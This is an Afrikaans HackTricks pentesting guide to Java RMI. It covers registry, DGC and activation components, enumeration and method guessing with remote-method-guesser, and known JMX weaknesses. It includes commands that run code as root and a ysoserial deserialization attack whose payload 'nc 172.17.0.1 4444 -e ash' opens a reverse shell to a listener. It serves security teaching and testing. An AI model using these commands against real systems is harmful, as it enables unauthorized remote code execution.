hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

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# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
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<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
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## Basiese Inligting
_Java Remote Method Invocation_, of _Java RMI_, is 'n objekgeoriënteerde _RPC_-meganisme wat 'n objek wat in een _Java virtuele masjien_ geleë is, toelaat om metodes op 'n objek wat in 'n ander _Java virtuele masjien_ geleë is, te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objekgeoriënteerde paradigma. 'n Kort inleiding tot _Java RMI_ vanuit 'n aanvallende perspektief kan gevind word in [hierdie blackhat-aanbieding](https://youtu.be/t\_aw1mDNhzI?t=202).
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**Verstekpoort:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
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```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Gewoonlik is slegs die standaard _Java RMI_ komponente (die _RMI Registry_ en die _Activation System_) aan algemene poorte gebind. Die _remote objects_ wat die werklike _RMI_ aansoek implementeer, is gewoonlik aan lukrake poorte gebind soos in die bostaande uitset.
_nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy 'n onbekende ssl-diens op 'n algemene _RMI_ poort raakloop, moet jy verder ondersoek instel.
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## RMI Komponente
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Om dit eenvoudig te stel, maak _Java RMI_ dit vir 'n ontwikkelaar moontlik om 'n _Java object_ beskikbaar te stel op die netwerk. Dit maak 'n _TCP_ poort oop waar kliënte kan koppel en metodes op die ooreenstemmende objek kan aanroep. Ten spyte van dat dit eenvoudig klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos:
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1. Om 'n metode-oproep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en lukrake identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat _Java RMI_ toelaat dat verskeie objekte op dieselfde _TCP_ poort luister).
2. Verre kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet byhou watter van hierdie hulpbronne nog in gebruik is en watter van hulle deur die gemorsverwydering ingesamel kan word.
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Die eerste uitdaging word opgelos deur die _RMI-register_, wat basies 'n benamingdiens vir _Java RMI_ is. Die _RMI-register_ self is ook 'n _RMI-diens_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend by alle _RMI_ kliënte. Dit maak dit vir _RMI_ kliënte moontlik om die _RMI-register_ te verbruik deur net die ooreenstemmende _TCP_ poort te ken.
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Wanneer ontwikkelaars hul _Java objekte_ binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n _RMI-register_. Die _register_ stoor alle inligting wat nodig is om met die objek te koppel (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n mensleesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-register_ vir die ooreenstemmende _gebonde naam_ en die register gee al die nodige inligting om te koppel terug. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld:
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```java
import java.rmi.registry.Registry;
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import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
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public class ExampleClient {
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private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
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public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
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} catch( Exception e) {
e.printStackTrace();
}
}
}
```
Die tweede van die bogenoemde uitdagings word opgelos deur die _Verspreide Vullisverwyderaar_ (_DGC_). Dit is nog 'n _RMI-diens_ met 'n bekende `ObjID`-waarde en dit is beskikbaar op basies elke _RMI-eindpunt_. Wanneer 'n _RMI-kliënt_ begin om 'n _RMI-diens_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _afgeleë voorwerp_ in gebruik is. Die _DGC_ kan dan die verwysingsgetal volg en ongebruikte voorwerpe skoonmaak.
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Saam met die verouderde _Aktiveringsisteem_ is hierdie die drie verstekkomponente van _Java RMI_:
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1. Die _RMI-Register_ (`ObjID = 0`)
2. Die _Aktiveringsisteem_ (`ObjID = 1`)
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3. Die _Verspreide Vullisverwyderaar_ (`ObjID = 2`)
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Die verstekkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en daar bestaan meerdere kwesbaarhede in verouderde _Java_-weergawes. Vanuit 'n aanvaller-perspektief is hierdie verstekkomponente interessant, omdat hulle bekende klasse / koppelvlakke geïmplementeer het en dit maklik is om met hulle te interaksieer. Hierdie situasie is anders vir aangepaste _RMI-dienste_. Om 'n metode op 'n _afgeleë voorwerp_ te roep, moet jy die ooreenstemmende metodesignatuur op voorhand ken. Sonder om 'n bestaande metodesignatuur te ken, is daar geen manier om met 'n _RMI-diens_ te kommunikeer nie.
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## RMI Enumerasie
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is 'n _Java RMI_ kwesbaarheidsskandeerder wat in staat is om algemene _RMI-kwesbaarhede_ outomaties te identifiseer. Wanneer jy 'n _RMI_ eindpunt identifiseer, moet jy dit probeer:
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```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Die uitset van die enumerasie-aksie word meer in detail verduidelik in die [dokumentasiebladsye](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.
Die `ObjID`-waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die tyd aanlyn van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer:
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```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing Remote Metodes
Selfs wanneer geen kwesbaarhede geïdentifiseer is tydens enumerasie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van _RMI_ kommunikasie na _RMI_ standaard komponente wat beskerm word deur deserialisasie filters, wanneer daar met aangepaste _RMI_ dienste gepraat word, is sulke filters gewoonlik nie op hul plek nie. Om geldige metode handtekeninge op _RMI_ dienste te ken, is dus waardevol.
Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _afgeleë voorwerpe_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout) te bruteforce:
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```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
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```
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Geïdentifiseerde metodes kan soos volg geroep word:
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```
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$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
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```
Of jy kan deserialisasie aanvalle uitvoer soos hierdie:
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```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
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```
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Meer inligting kan gevind word in hierdie artikels:
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* [Aanvalle op Java RMI-diens na JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
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* [Metode Raai](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
Afgesien van raaiwerk, moet jy ook in soek enjins of _GitHub_ kyk vir die koppelvlak of selfs die implementering van 'n teengekomde _RMI_ diens. Die _gebonden naam_ en die naam van die geïmplementeerde klas of koppelvlak kan hier nuttig wees.
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## Bekende Koppelvlakke
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) merk klasse of koppelvlakke as `bekend` as hulle gelys word in die gereedskap se interne databasis van bekende _RMI-dienste_. In hierdie gevalle kan jy die `bekend` aksie gebruik om meer inligting oor die betrokke _RMI-diens_ te kry:
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```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
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```
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## Shodan
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* `poort:1099 java`
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## Gereedskap
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* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://github.com/BishopFox/rmiscout)
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
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## Verwysings
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* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
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```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
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```
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
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